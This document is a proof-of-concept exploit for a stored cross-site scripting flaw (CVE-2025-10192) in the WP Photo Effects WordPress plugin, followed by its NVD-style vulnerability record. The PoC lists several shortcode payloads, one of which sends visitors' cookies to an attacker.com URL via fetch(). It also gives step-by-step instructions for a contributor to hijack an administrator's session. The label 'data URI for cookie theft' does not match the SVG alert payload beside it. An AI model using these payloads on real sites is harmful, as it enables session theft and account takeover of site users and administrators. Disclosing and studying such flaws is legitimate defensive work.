CVE-2025-10192

<!-- CVE-2025-10192 PoC - Stored XSS in WP Photo Effects Plugin Affected: WP Photo Effects <= 1.2.4 Vulnerable shortcode: wppe_effect Required privilege: Contributor or above --> <!-- Attackers with contributor-level access can inject the following shortcode into a post or page: --> [wppe_effect effect="><script>alert('XSS-CVE-2025-10192')</script>] <!-- Alternative payloads that bypass basic filters: --> <!-- Payload 1: Event handler injection --> [wppe_effect effect="test" onerror="alert(document.cookie)" src=x] <!-- Payload 2: Encoded script tag --> [wppe_effect effect="<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"] <!-- Payload 3: Using data URI for cookie theft --> [wppe_effect effect="<svg/onload=alert(document.domain)>"] <!-- Steps to exploit: 1. Login to WordPress as a Contributor or higher 2. Create a new post or edit an existing one 3. Insert the malicious shortcode in the content editor 4. Publish/submit the post for review 5. When any user (especially admin) views the page, the injected script executes 6. Attacker can steal cookies, redirect users, or perform actions as the victim -->

{"cve": {"id": "CVE-2025-10192", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:41.920", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Photo Effects plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wppe_effect' shortcode in all versions up to, and including, 1.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-photo-effects/trunk/photo-effect.php#L132", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-photo-effects", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/634e5c33-cd24-46ab-aac0-161eeb28aaff?source=cve", "source": "[email protected]"}]}}